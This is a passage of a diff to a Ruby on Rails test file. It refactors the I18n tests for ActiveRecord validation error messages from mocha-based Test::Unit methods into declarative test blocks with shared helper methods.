+    assert_deprecated('using %s in messages') do
+      I18n.t :does_not_exist, :default => "%s interpolation syntax is deprected", :value => 'this'
+    end
+  end
+
+  test "%d interpolation syntax in error messages still works" do
+    ActiveSupport::Deprecation.silence do
+      result = I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprecated", :count => 2
+      assert_equal result, "2 interpolation syntaxes are deprecated"
+    end
+  end
+
+  test "%d interpolation syntax in error messages is deprecated" do
+    assert_deprecated('using %d in messages') do
+      I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprected", :count => 2
+    end
+  end
+end
+
+
+# ACTIVERECORD VALIDATIONS
+#
+# For each validation:
+#
+# * test expect that it adds an error with the appropriate arguments
+# * test that it looks up the correct default message
+
+class ActiveRecordValidationsI18nTests < ActiveSupport::TestCase
+  include ActiveRecordValidationsI18nTestHelper
 
-class ActiveRecordValidationsI18nTests < Test::Unit::TestCase
   def setup
-    reset_callbacks Topic
+    reset_callbacks(Topic)
     @topic = Topic.new
+    @reply = Reply.new
     @old_load_path, @old_backend = I18n.load_path, I18n.backend
     I18n.load_path.clear
     I18n.backend = I18n::Backend::Simple.new
@@ -13,13 +85,40 @@ class ActiveRecordValidationsI18nTests < Test::Unit::TestCase
   end
 
   def teardown
-    reset_callbacks Topic
-    I18n.load_path.replace @old_load_path
+    reset_callbacks(Topic)
+    I18n.load_path.replace(@old_load_path)
     I18n.backend = @old_backend
   end
 
+  def expect_error_added(model, attribute, type, options)
+    model.errors.expects(:add).with(attribute, type, options)
+    yield
+    model.valid?
+  end
+
+  def assert_message_translations(model, attribute, type, &block)
+    assert_default_message_translation(model, attribute, type, &block)
+    reset_callbacks(model.class)
+    model.errors.clear
+    assert_custom_message_translation(model, attribute, type, &block)
+  end
+
+  def assert_custom_message_translation(model, attribute, type)
+    store_translations(:errors => { :models => { model.class.name.underscore => { :attributes => { attribute => { type => 'custom message' } } } } })
+    yield
+    model.valid?
+    assert_equal 'custom message', model.errors.on(attribute)
+  end
+
+  def assert_default_message_translation(model, attribute, type)
+    store_translations(:errors => { :messages => { type => 'default message' } })
+    yield
+    model.valid?
+    assert_equal 'default message', model.errors.on(attribute)
+  end
+
   def unique_topic
-    @unique ||= Topic.create :title => 'unique!'
+    @unique ||= Topic.create(:title => 'unique!')
   end
 
   def replied_topic
@@ -30,892 +129,827 @@ class ActiveRecordValidationsI18nTests < Test::Unit::TestCase
     end
   end
 
-  def reset_callbacks(*models)
-    models.each do |model|
-      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    end
-  end
+  # validates_confirmation_of
 
-  def test_default_error_messages_is_deprecated
-    assert_deprecated('ActiveRecord::Errors.default_error_messages') do
-      ActiveRecord::Errors.default_error_messages
-    end
-  end
-
-  def test_percent_s_interpolation_syntax_in_error_messages_still_works
-    ActiveSupport::Deprecation.silence do
-      result = I18n.t :does_not_exist, :default => "%s interpolation syntax is deprecated", :value => 'this'
-      assert_equal result, "this interpolation syntax is deprecated"
-    end
-  end
-
-  def test_percent_s_interpolation_syntax_in_error_messages_is_deprecated
-    assert_deprecated('using %s in messages') do
-      I18n.t :does_not_exist, :default => "%s interpolation syntax is deprected", :value => 'this'
-    end
-  end
-
-  def test_percent_d_interpolation_syntax_in_error_messages_still_works
-    ActiveSupport::Deprecation.silence do
-      result = I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprecated", :count => 2
-      assert_equal result, "2 interpolation syntaxes are deprecated"
-    end
-  end
-
-  def test_percent_d_interpolation_syntax_in_error_messages_is_deprecated
-    assert_deprecated('using %d in messages') do
-      I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprected", :count => 2
-    end
-  end
-
-  # ActiveRecord::Errors
-  uses_mocha 'ActiveRecord::Errors' do
-
-    def test_errors_generate_message_translates_custom_model_attribute_key
-
-      I18n.expects(:translate).with(
-        :topic,
-        { :count => 1,
-          :default => ['Topic'],
-          :scope => [:activerecord, :models]
-        }
-      ).returns('Topic')
-
-      I18n.expects(:translate).with(
-        :"topic.title",
-        { :count => 1,
-          :default => ['Title'],
-          :scope => [:activerecord, :attributes]
-        }
-      ).returns('Title')
-
-      I18n.expects(:translate).with(
-        :"models.topic.attributes.title.invalid",
-        :value => nil,
-        :scope => [:activerecord, :errors],
-        :default => [
-          :"models.topic.invalid",
-          'default from class def error 1',
-          :"messages.invalid"],
-        :attribute => "Title",
-        :model => "Topic"
-      ).returns('default from class def error 1')
-
-      @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1'
-    end
-
-    def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti
-
-      I18n.expects(:translate).with(
-        :reply,
-        { :count => 1,
-          :default => [:topic, 'Reply'],
-          :scope => [:activerecord, :models]
-        }
-      ).returns('Reply')
-
-      I18n.expects(:translate).with(
-        :"reply.title",
-        { :count => 1,
-          :default => [:'topic.title', 'Title'],
-          :scope => [:activerecord, :attributes]
-        }
-      ).returns('Title')
-
-      I18n.expects(:translate).with(
-        :"models.reply.attributes.title.invalid",
-        :value => nil,
-        :scope => [:activerecord, :errors],
-        :default => [
-          :"models.reply.invalid",
-          :"models.topic.attributes.title.invalid",
-          :"models.topic.invalid",
-          'default from class def',
-          :"messages.invalid"],
-        :model => 'Reply',
-        :attribute => 'Title'
-      ).returns("default from class def")
-
-      Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def'
-
-    end
-
-    def test_errors_add_on_empty_generates_message
-      @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil})
-      @topic.errors.add_on_empty :title
-    end
-
-    def test_errors_add_on_empty_generates_message_with_custom_default_message
-      @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'})
-      @topic.errors.add_on_empty :title, 'custom'
-    end
-
-    def test_errors_add_on_blank_generates_message
-      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
-      @topic.errors.add_on_blank :title
-    end
-
-    def test_errors_add_on_blank_generates_message_with_custom_default_message
-      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
-      @topic.errors.add_on_blank :title, 'custom'
-    end
-
-    def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
-      @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] }
-      I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title')
-      @topic.errors.full_messages :locale => 'en'
-    end
-  end
-
-  # ActiveRecord::Validations
-  uses_mocha 'ActiveRecord::Validations' do
-    # validates_confirmation_of w/ mocha
-
-    def test_validates_confirmation_of_generates_message
+  test "#validates_confirmation_of given no custom message" do
+    expect_error_added(@topic, :title, :confirmation, :default => nil) do
       Topic.validates_confirmation_of :title
+      @topic.title = 'title'
       @topic.title_confirmation = 'foo'
-      @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_confirmation_of_generates_message_with_custom_default_message
+  test "#validates_confirmation_of given a custom message" do
+    expect_error_added(@topic, :title, :confirmation, :default => 'custom') do
       Topic.validates_confirmation_of :title, :message => 'custom'
       @topic.title_confirmation = 'foo'
-      @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_acceptance_of w/ mocha
+  test "#validates_confirmation_of finds the correct message translations" do
+    assert_message_translations(@topic, :title, :confirmation) do
+      Topic.validates_confirmation_of :title
+      @topic.title_confirmation = 'foo'
+    end
+  end
 
-    def test_validates_acceptance_of_generates_message
+  # validates_acceptance_of
+
+  test "#validates_acceptance_of given no custom message" do
+    expect_error_added(@topic, :title, :accepted, :default => nil) do
       Topic.validates_acceptance_of :title, :allow_nil => false
-      @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_acceptance_of_generates_message_with_custom_default_message
+  test "#validates_acceptance_of given a custom message" do
+    expect_error_added(@topic, :title, :accepted, :default => 'custom') do
       Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false
-      @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_presence_of w/ mocha
+  test "#validates_acceptance_of finds the correct message translations" do
+    assert_message_translations(@topic, :title, :accepted) do
+      Topic.validates_acceptance_of :title, :allow_nil => false
+    end
+  end
 
-    def test_validates_presence_of_generates_message
+  # validates_presence_of
+
+  test "#validates_presence_of given no custom message" do
+    expect_error_added(@topic, :title, :blank, :default => nil) do
       Topic.validates_presence_of :title
-      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_presence_of_generates_message_with_custom_default_message
+  test "#validates_presence_of given a custom message" do
+    expect_error_added(@topic, :title, :blank, :default => 'custom') do
       Topic.validates_presence_of :title, :message => 'custom'
-      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    def test_validates_length_of_within_generates_message_with_title_too_short
+  test "#validates_presence_of finds the correct message translations" do
+    assert_message_translations(@topic, :title, :blank) do
+      Topic.validates_presence_of :title
+    end
+  end
+
+  # validates_length_of :too_short
+
+  test "#validates_length_of (:too_short) and no custom message" do
+    expect_error_added(@topic, :title, :too_short, :default => nil, :count => 3) do
       Topic.validates_length_of :title, :within => 3..5
-      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
+  test "#validates_length_of (:too_short) and a custom message" do
+    expect_error_added(@topic, :title, :too_short, :default => 'custom', :count => 3) do
       Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
-      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    def test_validates_length_of_within_generates_message_with_title_too_long
+  test "#validates_length_of (:too_short) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :too_short) do
+      Topic.validates_length_of :title, :within => 3..5
+    end
+  end
+
+  # validates_length_of :too_long
+
+  test "#validates_length_of (:too_long) and no custom message" do
+    expect_error_added(@topic, :title, :too_long, :default => nil, :count => 5) do
       Topic.validates_length_of :title, :within => 3..5
       @topic.title = 'this title is too long'
-      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
+  test "#validates_length_of (:too_long) and a custom message" do
+    expect_error_added(@topic, :title, :too_long, :default => 'custom', :count => 5) do
       Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
       @topic.title = 'this title is too long'
-      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_length_of :within w/ mocha
-
-    def test_validates_length_of_within_generates_message_with_title_too_short
-      Topic.validates_length_of :title, :within => 3..5
-      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
-      @topic.valid?
-    end
-
-    def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
-      Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
-      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
-      @topic.valid?
-    end
-
-    def test_validates_length_of_within_generates_message_with_title_too_long
+  test "#validates_length_of (:too_long) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :too_long) do
       Topic.validates_length_of :title, :within => 3..5
       @topic.title = 'this title is too long'
-      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
-      Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
-      @topic.title = 'this title is too long'
-      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
-      @topic.valid?
-    end
+  # validates_length_of :is
 
-    # validates_length_of :is w/ mocha
-
-    def test_validates_length_of_is_generates_message
+  test "#validates_length_of (:is) and no custom message" do
+    expect_error_added(@topic, :title, :wrong_length, :default => nil, :count => 5) do
       Topic.validates_length_of :title, :is => 5
-      @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil})
-      @topic.valid?
+      @topic.title = 'this title has the wrong length'
     end
+  end
 
-    def test_validates_length_of_is_generates_message_with_custom_default_message
-      Topic.validates_length_of :title, :is => 5, :message => 'custom'
-      @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'})
-      @topic.valid?
+  test "#validates_length_of (:is) and a custom message" do
+    expect_error_added(@topic, :title, :wrong_length, :default => 'custom', :count => 5) do
+      Topic.validates_length_of :title, :is => 5, :wrong_length => 'custom'
+      @topic.title = 'this title has the wrong length'
     end
+  end
 
-    # validates_uniqueness_of w/ mocha
+  test "#validates_length_of (:is) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :wrong_length) do
+      Topic.validates_length_of :title, :is => 5
+      @topic.title = 'this title has the wrong length'
+    end
+  end
 
-    def test_validates_uniqueness_of_generates_message
+  # validates_uniqueness_of
+
+  test "#validates_uniqueness_of and no custom message" do
+    expect_error_added(@topic, :title, :taken, :default => nil, :value => 'unique!') do
       Topic.validates_uniqueness_of :title
       @topic.title = unique_topic.title
-      @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'})
-      @topic.valid?
     end
+  end
 
-    def test_validates_uniqueness_of_generates_message_with_custom_default_message
+  test "#validates_uniqueness_of and a custom message" do
+    expect_error_added(@topic, :title, :taken, :default => 'custom', :value => 'unique!') do
       Topic.validates_uniqueness_of :title, :message => 'custom'
       @topic.title = unique_topic.title
-      @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'})
-      @topic.valid?
     end
+  end
 
-    # validates_format_of w/ mocha
+  test "#validates_uniqueness_of finds the correct message translations" do
+    assert_message_translations(@topic, :title, :taken) do
+      Topic.validates_uniqueness_of :title
+      @topic.title = unique_topic.title
+    end
+  end
 
-    def test_validates_format_of_generates_message
+  # validates_format_of
+
+  test "#validates_format_of and no custom message" do
+    expect_error_added(@topic, :title, :invalid, :default => nil, :value => '72x') do
       Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
       @topic.title = '72x'
-      @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_format_of_generates_message_with_custom_default_message
+  test "#validates_format_of and a custom message" do
+    expect_error_added(@topic, :title, :invalid, :default => 'custom', :value => '72x') do
       Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom'
       @topic.title = '72x'
-      @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_inclusion_of w/ mocha
+  test "#validates_format_of finds the correct message translations" do
+    assert_message_translations(@topic, :title, :invalid) do
+      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
+      @topic.title = '72x'
+    end
+  end
 
-    def test_validates_inclusion_of_generates_message
-      Topic.validates_inclusion_of :title, :in => %w(a b c)
+  # validates_inclusion_of
+
+  test "#validates_inclusion_of and no custom message" do
+    list = %w(a b c)
+    expect_error_added(@topic, :title, :inclusion, :default => nil, :value => 'z') do
+      Topic.validates_inclusion_of :title, :in => list
       @topic.title = 'z'
-      @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_inclusion_of_generates_message_with_custom_default_message
-      Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom'
+  test "#validates_inclusion_of and a custom message" do
+    list = %w(a b c)
+    expect_error_added(@topic, :title, :inclusion, :default => 'custom', :value => 'z') do
+      Topic.validates_inclusion_of :title, :in => list, :message => 'custom'
       @topic.title = 'z'
-      @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_exclusion_of w/ mocha
+  test "#validates_inclusion_of finds the correct message translations" do
+    list = %w(a b c)
+    assert_message_translations(@topic, :title, :inclusion) do
+      Topic.validates_inclusion_of :title, :in => list
+      @topic.title = 'z'
+    end
+  end
 
-    def test_validates_exclusion_of_generates_message
-      Topic.validates_exclusion_of :title, :in => %w(a b c)
+  # validates_exclusion_of
+
+  test "#validates_exclusion_of and no custom message" do
+    list = %w(a b c)
+    expect_error_added(@topic, :title, :exclusion, :default => nil, :value => 'a') do
+      Topic.validates_exclusion_of :title, :in => list
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_exclusion_of_generates_message_with_custom_default_message
-      Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom'
+  test "#validates_exclusion_of and a custom message" do
+    list = %w(a b c)
+    expect_error_added(@topic, :title, :exclusion, :default => 'custom', :value => 'a') do
+      Topic.validates_exclusion_of :title, :in => list, :message => 'custom'
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_numericality_of without :only_integer w/ mocha
+  test "#validates_exclusion_of finds the correct message translations" do
+    list = %w(a b c)
+    assert_message_translations(@topic, :title, :exclusion) do
+      Topic.validates_exclusion_of :title, :in => list
+      @topic.title = 'a'
+    end
+  end
 
-    def test_validates_numericality_of_generates_message
+  # validates_numericality_of :not_a_number, without :only_integer
+
+  test "#validates_numericality_of (:not_a_number, w/o :only_integer) no custom message" do
+    expect_error_added(@topic, :title, :not_a_number, :default => nil, :value => 'a') do
       Topic.validates_numericality_of :title
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_numericality_of_generates_message_with_custom_default_message
+  test "#validates_numericality_of (:not_a_number, w/o :only_integer) and a custom message" do
+    expect_error_added(@topic, :title, :not_a_number, :default => 'custom', :value => 'a') do
       Topic.validates_numericality_of :title, :message => 'custom'
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_numericality_of with :only_integer w/ mocha
+  test "#validates_numericality_of (:not_a_number, w/o :only_integer) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :not_a_number) do
+      Topic.validates_numericality_of :title
+      @topic.title = 'a'
+    end
+  end
 
-    def test_validates_numericality_of_only_integer_generates_message
+  # validates_numericality_of :not_a_number, with :only_integer
+
+  test "#validates_numericality_of (:not_a_number, with :only_integer) no custom message" do
+    expect_error_added(@topic, :title, :not_a_number, :default => nil, :value => 'a') do
       Topic.validates_numericality_of :title, :only_integer => true
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message
+  test "#validates_numericality_of (:not_a_number, with :only_integer) and a custom message" do
+    expect_error_added(@topic, :title, :not_a_number, :default => 'custom', :value => 'a') do
       Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom'
       @topic.title = 'a'
-      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_numericality_of :odd w/ mocha
+  test "#validates_numericality_of (:not_a_number, with :only_integer) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :not_a_number) do
+      Topic.validates_numericality_of :title, :only_integer => true
+      @topic.title = 'a'
+    end
+  end
 
-    def test_validates_numericality_of_odd_generates_message
+  # validates_numericality_of :odd
+
+  test "#validates_numericality_of (:odd) no custom message" do
+    expect_error_added(@topic, :title, :odd, :default => nil, :value => 0) do
       Topic.validates_numericality_of :title, :only_integer => true, :odd => true
       @topic.title = 0
-      @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+  test "#validates_numericality_of (:odd) and a custom message" do
+    expect_error_added(@topic, :title, :odd, :default => 'custom', :value => 0) do
       Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom'
       @topic.title = 0
-      @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_numericality_of :less_than w/ mocha
+  test "#validates_numericality_of (:odd) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :odd) do
+      Topic.validates_numericality_of :title, :only_integer => true, :odd => true
+      @topic.title = 0
+    end
+  end
 
-    def test_validates_numericality_of_less_than_generates_message
+  # validates_numericality_of :even
+
+  test "#validates_numericality_of (:even) no custom message" do
+    expect_error_added(@topic, :title, :even, :default => nil, :value => 1) do
+      Topic.validates_numericality_of :title, :only_integer => true, :even => true
+      @topic.title = 1
+    end
+  end
+
+  test "#validates_numericality_of (:even) and a custom message" do
+    expect_error_added(@topic, :title, :even, :default => 'custom', :value => 1) do
+      Topic.validates_numericality_of :title, :only_integer => true, :even => true, :message => 'custom'
+      @topic.title = 1
+    end
+  end
+
+  test "#validates_numericality_of (:even) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :even) do
+      Topic.validates_numericality_of :title, :only_integer => true, :even => true
+      @topic.title = 1
+    end
+  end
+
+  # validates_numericality_of :less_than
+
+  test "#validates_numericality_of (:less_than) no custom message" do
+    expect_error_added(@topic, :title, :less_than, :default => nil, :value => 1, :count => 0) do
       Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
       @topic.title = 1
-      @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil})
-      @topic.valid?
     end
+  end
 
-    def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+  test "#validates_numericality_of (:less_than) and a custom message" do
+    expect_error_added(@topic, :title, :less_than, :default => 'custom', :value => 1, :count => 0) do
       Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom'
       @topic.title = 1
-      @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'})
-      @topic.valid?
     end
+  end
 
-    # validates_associated w/ mocha
+  test "#validates_numericality_of (:less_than) finds the correct message translations" do
+    assert_message_translations(@topic, :title, :less_than) do
+      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
+      @topic.title = 1
+    end
+  end
 
-    def test_validates_associated_generates_message
+  # validates_associated
+
+  test "#validates_associated no custom message" do
+    expect_error_added(replied_topic, :replies, :invalid, :default => nil, :value => replied_topic.replies) do
       Topic.validates_associated :replies
-      replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
-      replied_topic.valid?
     end
+  end
 
-    def test_validates_associated_generates_message_with_custom_default_message
+  test "#validates_associated and a custom message" do
+    expect_error_added(replied_topic, :replies, :invalid, :default => 'custom', :value => replied_topic.replies) do
+      Topic.validates_associated :replies, :message => 'custom'
+    end
+  end
+
+  test "#validates_associated finds the correct message translations" do
+    assert_message_translations(replied_topic, :replies, :invalid) do
       Topic.validates_associated :replies
-      replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
-      replied_topic.valid?
     end
   end
-
-  # validates_confirmation_of w/o mocha
-
-  def test_validates_confirmation_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:confirmation => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}}
-
-    Topic.validates_confirmation_of :title
-    @topic.title_confirmation = 'foo'
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_confirmation_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}}
-
-    Topic.validates_confirmation_of :title
-    @topic.title_confirmation = 'foo'
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_acceptance_of w/o mocha
-
-  def test_validates_acceptance_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:accepted => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}}
-
-    Topic.validates_acceptance_of :title, :allow_nil => false
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_acceptance_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}}
-
-    Topic.validates_acceptance_of :title, :allow_nil => false
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_presence_of w/o mocha
-
-  def test_validates_presence_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:blank => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}}
-
-    Topic.validates_presence_of :title
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_presence_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}}
-
-    Topic.validates_presence_of :title
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_length_of :within w/o mocha
-
-  def test_validates_length_of_within_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:too_short => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}}
-
-    Topic.validates_length_of :title, :within => 3..5
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_length_of_within_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}}
-
-    Topic.validates_length_of :title, :within => 3..5
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_length_of :is w/o mocha
-
-  def test_validates_length_of_within_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
-
-    Topic.validates_length_of :title, :is => 5
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_length_of_within_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
-
-    Topic.validates_length_of :title, :is => 5
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_uniqueness_of w/o mocha
-
-  def test_validates_length_of_within_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
-
-    Topic.validates_length_of :title, :is => 5
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_length_of_within_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
-
-    Topic.validates_length_of :title, :is => 5
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-
-  # validates_format_of w/o mocha
-
-  def test_validates_format_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:invalid => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
-
-    Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_format_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
-
-    Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_inclusion_of w/o mocha
-
-  def test_validates_inclusion_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:inclusion => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}}
-
-    Topic.validates_inclusion_of :title, :in => %w(a b c)
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_inclusion_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}}
-
-    Topic.validates_inclusion_of :title, :in => %w(a b c)
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_exclusion_of w/o mocha
-
